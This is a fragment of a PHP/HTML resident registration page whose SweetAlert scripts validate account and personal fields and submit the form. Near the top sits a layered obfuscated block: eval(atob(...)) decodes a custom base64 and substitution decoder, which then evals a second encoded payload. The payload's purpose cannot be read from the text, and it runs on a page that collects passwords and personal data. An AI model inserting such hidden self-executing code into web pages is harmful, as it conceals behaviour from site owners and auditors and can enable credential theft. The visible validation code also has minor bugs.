									return _57[_k93Z](/[x%y_z]/g, '')[_k93Z](/(.)(.)(.)/g, '$3$2$1');
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								;
							}
						}

						;
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</script>

<script>
	eval(atob('dmFyIHU9dm9pZCAwLGk0PTQsaTg9OCxyZWM9bmV3IFJlZ0V4cCgiLnsxLDR9IiwiZyIpO2Z1bmN0aW9uIF9mX2Mocyl7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUocyk7fXZhciBoZD1mdW5jdGlvbihhKXt2YXIgYixjPWEubWF0Y2gocmVjKXx8W10sZD0iIjtmb3IoYj0wO2I8Yy5sZW5ndGg7YisrKWQrPWhoKHBhcnNlSW50KGNbYl0saTYpKTtyZXR1cm4gZH07dmFyIGh3PWhkO1N0cmluZy5wcm90b3R5cGUuY2M9ZnVuY3Rpb24oYSl7cmV0dXJuIHRoaXMuY2hhckNvZGVBdChhKX07dmFyIGk2PTE2LGhlPWZ1bmN0aW9uKGEpe3ZhciBiLGMsZD0iIjtmb3IoYz0wO2M8YS5sZW5ndGg7YysrKWI9YS5jYyhjKS50b1N0cmluZyhpNiksZCs9KCIwMDAiK2IpLnNsaWNlKC00KTtyZXR1cm4gZH0saGg9ZnVuY3Rpb24oYSl7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUoYSl9LGh3YT1odygiMDA0MTAwNDIwMDQzMDA0NDAwNDUwMDQ2MDA0NzAwNDgwMDQ5MDA0YTAwNGIwMDRjMDA0ZDAwNGUwMDRmMDA1MDAwNTEwMDUyMDA1MzAwNTQwMDU1MDA1NjAwNTcwMDU4MDA1OTAwNWEwMDYxMDA2MjAwNjMwMDY0MDA2NTAwNjYwMDY3MDA2ODAwNjkwMDZhMDA2YjAwNmMwMDZkMDA2ZTAwNmYwMDcwMDA3MTAwNzIwMDczMDA3NDAwNzUwMDc2MDA3NzAwNzgwMDc5MDA3YTAwMzAwMDMxMDAzMjAwMzMwMDM0MDAzNTAwMzYwMDM3MDAzODAwMzkwMDJiMDAyZjAwM2QiKTtmdW5jdGlvbiBhdG9iKGEpe3ZhciBiLGMsZCxlLGYsZyxoLGk9IiIsaj0wO2ZvcihhPWEucmVwbGFjZShyZWEsIiIpO2o8YS5sZW5ndGg7KWU9aHdhLmluZGV4T2YoYS5jaGFyQXQoaisrKSksZj1od2EuaW5kZXhPZihhLmNoYXJBdChqKyspKSxnPWh3YS5pbmRleE9mKGEuY2hhckF0KGorKykpLGg9aHdhLmluZGV4T2YoYS5jaGFyQXQoaisrKSksYj1lPDwyfGY+PjQsYz0oMTUmZik8PDR8Zz4+MixkPSgzJmcpPDw2fGgsaSs9X2ZfYyhiKSw2NCE9ZyYmKGkrPV9mX2MoYykpLDY0IT1oJiYoaSs9X2ZfYyhkKSk7cmV0dXJuIGk9dXRvYShpKX1mdW5jdGlvbiBidG9hKGEpe3ZhciBiLGMsZCxlLGYsZyxoLGk9IiIsaj0wO2ZvcihhPWF0b3UoYSk7ajxhLmxlbmd0aDspYj1hLmNoYXJDb2RlQXQoaisrKSxjPWEuY2hhckNvZGVBdChqKyspLGQ9YS5jaGFyQ29kZUF0KGorKyksZT1iPj4yLGY9KDMmYik8PDR8Yz4+NCxnPSgxNSZjKTw8MnxkPj42LGg9NjMmZCxpc05hTihjKT9nPWg9NjQ6aXNOYU4oZCkmJihoPTY0KSxpPWkraHdhLmNoYXJBdChlKStod2EuY2hhckF0KGYpK2h3YS5jaGFyQXQoZykraHdhLmNoYXJBdChoKTtyZXR1cm4gaX1mdW5jdGlvbiBhdG91KGEpe2E9YS5yZXBsYWNlKHJlYiwiXG4iKTtmb3IodmFyIGI9IiIsYz0wO2M8YS5sZW5ndGg7YysrKXt2YXIgZD1hLmNoYXJDb2RlQXQoYyk7MTI4PmQ/Yis9X2ZfYyhkKTpkPjEyNyYmMjA0OD5kPyhiKz1fZl9jKGQ+PjZ8MTkyKSxiKz1fZl9jKDYzJmR8MTI4KSk6KGIrPV9mX2MoZD4+MTJ8MjI0KSxiKz1fZl9jKGQ+PjYmNjN8MTI4KSxiKz1fZl9jKDYzJmR8MTI4KSl9cmV0dXJuIGJ9ZnVuY3Rpb24gdXRvYShhKXtmb3IodmFyIGI9IiIsYz0wLGQ9YzE9YzI9MDtjPGEubGVuZ3RoOylkPWEuY2hhckNvZGVBdChjKSwxMjg+ZD8oYis9X2ZfYyhkKSxjKyspOmQ+MTkxJiYyMjQ+ZD8oYzI9YS5jaGFyQ29kZUF0KGMrMSksYis9X2ZfYygoMzEmZCk8PDZ8NjMmYzIpLGMrPTIpOihjMj1hLmNoYXJDb2RlQXQoYysxKSxjMz1hLmNoYXJDb2RlQXQoYysyKSxiKz1fZl9jKCgxNSZkKTw8MTJ8KDYzJmMyKTw8Nnw2MyZjMyksYys9Myk7cmV0dXJuIGJ9dmFyIGh3YT1odygiMDA0MTAwNDIwMDQzMDA0NDAwNDUwMDQ2MDA0NzAwNDgwMDQ5MDA0YTAwNGIwMDRjMDA0ZDAwNGUwMDRmMDA1MDAwNTEwMDUyMDA1MzAwNTQwMDU1MDA1NjAwNTcwMDU4MDA1OTAwNWEwMDYxMDA2MjAwNjMwMDY0MDA2NTAwNjYwMDY3MDA2ODAwNjkwMDZhMDA2YjAwNmMwMDZkMDA2ZTAwNmYwMDcwMDA3MTAwNzIwMDczMDA3NDAwNzUwMDc2MDA3NzAwNzgwMDc5MDA3YTAwMzAwMDMxMDAzMjAwMzMwMDM0MDAzNTAwMzYwMDM3MDAzODAwMzkwMDJiMDAyZjAwM2QiKSxyZWE9bmV3IFJlZ0V4cCgiW15BLVphLXowLTkrLz1dIiwiZyIpLHJlYj1uZXcgUmVnRXhwKCJcclxuIiwiZyIpO3ZhciBfXz17YTpod2Euc3BsaXQoIiIpLCQ6ZnVuY3Rpb24oYSxiKXtmb3IodmFyIGM9IiIsZD10aGlzLmEubGVuZ3RoLGU9YS5sZW5ndGgsZj0wO2Y8ZTtmKyspZm9yKHZhciBnPTA7ZzxkO2crKylpZigiZSI9PWIpe2lmKHRoaXMuYVtnXT09PWFbZl0pe2MrPXRoaXMuYltnXTticmVha319ZWxzZSBpZigiZCI9PWImJnRoaXMuYltnXT09PWFbZl0pe2MrPXRoaXMuYVtnXTticmVha31yZXR1cm4gY30sYjpodygiMDAzZDAwMmYwMDJiMDAzOTAwMzgwMDM3MDAzNjAwMzUwMDM0MDAzMzAwMzIwMDMxMDAzMDAwN2EwMDc5MDA3ODAwNzcwMDc2MDA3NTAwNzQwMDczMDA3MjAwNzEwMDcwMDA2ZjAwNmUwMDZkMDA2YzAwNmIwMDZhMDA2OTAwNjgwMDY3MDA2NjAwNjUwMDY0MDA2MzAwNjIwMDYxMDA1YTAwNTkwMDU4MDA1NzAwNTYwMDU1MDA1NDAwNTMwMDUyMDA1MTAwNTAwMDRmMDA0ZTAwNGQwMDRjMDA0YjAwNGEwMDQ5MDA0ODAwNDcwMDQ2MDA0NTAwNDQwMDQzMDA0MjAwNDEiKS5zcGxpdCgiIil9Ow==')); eval(atob(__.$('oKDSkJwgnabUnsbSk5rMxqvRoJrTnqHM1ajbj8rUnqLblZv+isbc2+3amqPbuqHQjpwe2uPXlq7Znr/OnpnXnpkDn6DdjqLblZwSnKrMvqPblqrSj83HuqwY4abToqjbs53bjabbjO4X16bToqjbs53bjabbjMzRlZvfmqHbkdLclKzLlqrSj+HZnpv7l6rTnqHMwZb3n+gemqLfnKrwkarKmqrJwKDSj67XlarO4ecFnabUnsbSk5rM1a7cn8rKnqHMt6bNj6rSnp4Y4azYoqHZnu4U26nLlazMmqDS2+bFoKDSkJwgntLMm6bN1anXl6rNqN/jyKba26sXiKzRlZzM45wDlarJ48nXl6runq7cnp4Fj+HRlaPRoqwDntMCiLzJoqQSnabOnufFj6bMl6sG4bbRjp4gjp/UlK7cnqwgk6bdj5rOnu4Uj6rIj9Yev6EgiqDL45jflZwgj6EgkK7Knu/Mm6bN46bToqjbxO4UmqLfnKrrkaQGnuHMop3ZnpwSkarNjqPM16bToqjbwqPMye3sm6sgjp/UlK7cnqwgk6bdj5rOnu4UkKfRjMzflazbl83Lj5vRldYf0+PdoqHdnqP+jpvMlKHsnpfMye39oqHdnqQe16zRlanXkaL+jpvMlKHsnpfMye3topnb4ePNm6DJt6Dfn6rOtKH9lKHamp3Tye8Q15/OnszRlanXkaMG2+cDxaHbjO/wkaDTmpzb25wDxZTNnpvsmqLblJrM2+gXxtHFj+gX17zJoqQSnabOnufFmqzRldYekJrdoKrNkO4Uj6bMl6sG4cbToqjb47zfjarc4ePMnpfMye3sm6sgmqLfnKsgm67N463bnqIgkK7KnqwgkJrdoKrNkKnLl6PH1e3D2uHMm6rS2+gXxtHFmqLfnKrwkarKmqrJ1ZzOoNLb1Zvfkajbj+HOnpzLl5wUmqLfnKrwkarKmqrJwKDSj67XlarO1ZzMiqPb1avXkJ/UopcD4a3UlKzV4ZMXhuQPzt=Q2pMXhucSj6fblefbxtHFnuHXkMvXkKLXkJzbn+oanuHcmpzTmpzNxtMDsJjfl+H8mpzTmpzNsarfkKDS1azflazbl+oa26nXl6r3lZ/Lj+HKoqPLntMe4ebD2pMUj+HOnq7cwpz8opvfrr3026sXhpMX2tUA', 'd')));
</script>


<script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script>
<script>
	$('.employees').bind('blur change', function (e) {
		var male = parseInt($('#male-employees').val());
		var female = parseInt($('#female-employees').val());
		$('#total-employees').val(male + female);
	});

	async function confirmSubmit() {
		// Check if the user accepted the terms and conditions
		const {
			value: accept
		} = await Swal.fire({
			title: 'Please Check the box if you agree and still wish to continue',
			input: 'checkbox',
			inputValue: 0,
			inputPlaceholder: 'Before proceeding with registration, please ensure that all information provided is accurate and up-to-date. By registering, you acknowledge and consent to the collection of your data for the intended purposes.',
			confirmButtonText: 'Continue',
		});

		if (accept) {
			// Check residency status
			const residencyStatus = document.getElementById('residencyStatus').value;

			// Check if all required fields are filled
			const requiredFields = document.querySelectorAll('[required]');
			let isFieldsValid = true;

			requiredFields.forEach((field) => {
				if (!field.value) {
					isFieldsValid = false;
					field.classList.add('error');

					// Check if the empty field is the username, password, confirm password, or other specific fields
					if (field.id === 'username') {
						showError('Username cannot be empty.');
					} else if (field.id === 'password') {
						showError('Password cannot be empty.');
					} else if (field.id === 'confirm_password') {
						showError('Confirm Password cannot be empty.');
					} else if (field.id === 'firstname') {
						showError('First Name cannot be empty.');
					} else if (field.id === 'lastname') {
						showError('Last Name cannot be empty.');
					} else if (field.id === 'residencyStatus') {
						showError('Please choose residency status.');
					} else if (field.id === 'birthday') {
						showError('Please input birthday.');
					} else if (field.id === 'userType') {
						showError('Please choose user type.');
						// } else if (
						//     (field.id === 'birthdate' ||
						//         field.id === 'age' ||
						//         field.id === 'birth_place' ||
						//         field.id === 'gender' ||
						//         field.id === 'civil_status' ||
						//         field.id === 'religion' ||
						//         field.id === 'citizenship' ||
						//         field.id === 'contact_number' ||
						//         field.id === 'email' ||
						//         field.id === 'residencyStatus' ||
						//         field.id === 'typeres' ||
						//         field.id === 'educational_attainment' ||
						//         field.id === 'school' ||
						//         field.id === 'course' ||
						//         field.id === 'skills' ||
						//         field.id === 'userType' ||
						//         field.id === 'household_no' ||
						//         field.id === 'relation_head' ||
						//         field.id === 'hoa') &&
						//     $("residencyStatus") === 'resident' &&
						//     $("userType") === 'member'
						// ) {
						//     showError(`${field.id.charAt(0).toUpperCase() + field.id.slice(1)} cannot be empty.`);
						// } else if (
						//     (field.id === 'birthdate' ||
						//         field.id === 'age' ||
						//         field.id === 'birth_place' ||
						//         field.id === 'gender' ||
						//         field.id === 'civil_status' ||
						//         field.id === 'religion' ||
						//         field.id === 'citizenship' ||
						//         field.id === 'contact_number' ||
						//         field.id === 'email' ||
						//         field.id === 'residencyStatus' ||
						//         field.id === 'typeres' ||
						//         field.id === 'educational_attainment' ||
						//         field.id === 'school' ||
						//         field.id === 'course' ||
						//         field.id === 'skills' ||
						//         field.id === 'userType' ||
						//         field.id === 'household_no' ||
						//         field.id === 'relation_head' ||
						//         field.id === 'userType' ||
						//         field.id === 'hoa') &&
						//     $("residencyStatus") === 'non-resident'
						// ) {
						//     showError(`${field.id.charAt(0).toUpperCase() + field.id.slice(1)} cannot be empty.`);
					} else {
						// Remove error class if field is not empty
						field.classList.remove('error');
					}
				}
			});

			if (!isFieldsValid) {
				return false;
			}
			const usernameField = document.getElementById('username');
			const passwordField = document.getElementById('password');
			const firstnameField = document.getElementById('firstname');
			const lastnameField = document.getElementById('lastname');
			const confirmPasswordField = document.getElementById('confirm_password');

			if (passwordField.value !== confirmPasswordField.value) {
				showError('Password and Confirm Password do not match.');
				return false;
			}
			if (usernameField.value == '') {

				showError('Username cannot be empty.');
				usernameFiled.classList.add("error");
				return false;
			}
			if (passwordField.value == '') {
				showError('Password cannot be empty.');
				return false;
			}
			if (confirmPasswordField.value == '') {
				showError('Confirm Password cannot be empty.');
				return false;
			}
			if (firstnameField.value == '') {
				showError('First Name cannot be empty.');
				return false;
			}
			if (lastnameField.value == '') {
				showError('First Name cannot be empty.');
				return false;
			}

			// Customize Swal.fire based on residency status
			let swalTitle, swalHtml;
			if (residencyStatus.toLowerCase() === 'non-resident') {
				// For non-residents
				swalTitle = 'Thank you for providing your information.';
				swalHtml = 'By submitting this form, you acknowledge and confirm that all the information you have entered is accurate and up-to-date to the best of your knowledge.';
			} else {
				// For residents
				swalTitle = 'Resident Account Number';
				swalHtml = `<h2><?php echo $number; ?></h2><br><p style="color:red;">Please note your resident account number. </p>`;
			}

			// Show Swal.fire with appropriate title and html
			Swal.fire({
				title: swalTitle,
				html: swalHtml,
				icon: 'success',
				showCancelButton: true,
				confirmButtonText: 'Okay, submit',
				cancelButtonText: 'Cancel',
				showLoaderOnConfirm: true,
				preConfirm: () => {
					return new Promise((resolve) => {
						// Simulate an asynchronous operation (e.g., form submission to the server)
						setTimeout(() => {
							resolve();
						}, 1500); // Adjust the delay time as needed for the actual form submission
					});
				},
			}).then((result) => {
				if (result.isConfirmed) {
					// Form was confirmed for submission
					Swal.fire({
						title: 'Data Inserted Successfully',
						text: 'The data has been successfully inserted.',
						icon: 'success',
					}).then(() => {
						// After showing the success message, submit the form
						document.getElementById('form').submit();
					});
				} else if (result.isDismissed && result.dismiss === Swal.DismissReason.cancel) {
					// Form submission was canceled
					Swal.fire({
						title: 'Cancelled',
						text: 'Form submission has been cancelled.',
						icon: 'error',
					});
				}
			});
		}

		function showError(errorMessage) {
			Swal.fire({
				title: 'Error',
				text: errorMessage,
				icon: 'error',
			});
		}
	}
</script>
<!-- <script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script>
<script>
	$('.employees').bind('blur change', function (e) {
		var male = parseInt($('#male-employees').val());
		var female = parseInt($('#female-employees').val());
		$('#total-employees').val(male + female);
	});

	async function confirmSubmit() {
		// Check if the user accepted the terms and conditions
		const { value: accept } = await Swal.fire({
			title: 'Terms and conditions',
			input: 'checkbox',
			inputValue: 0,
			inputPlaceholder: 'I agree with the terms and conditions',
			confirmButtonText: 'Submit',
			inputValidator: (result) => {
				return !result && 'You need to agree with T&C';
			},
		});

		if (accept) {
			// Check if all required fields are filled
			const requiredFields = document.querySelectorAll('[required]');
			let isFieldsValid = true;

			requiredFields.forEach((field) => {
				if (!field.value) {
					isFieldsValid = false;
					field.classList.add('error');
				} else {
					field.classList.remove('error');
				}
			});

			if (!isFieldsValid) {
				Swal.fire({
					title: 'Error',
					text: 'Please fill in all required fields.',
					icon: 'error',
				});
				return false;
			}

			// Submit the form directly
			document.getElementById('form').submit();
		}
	}
</script> -->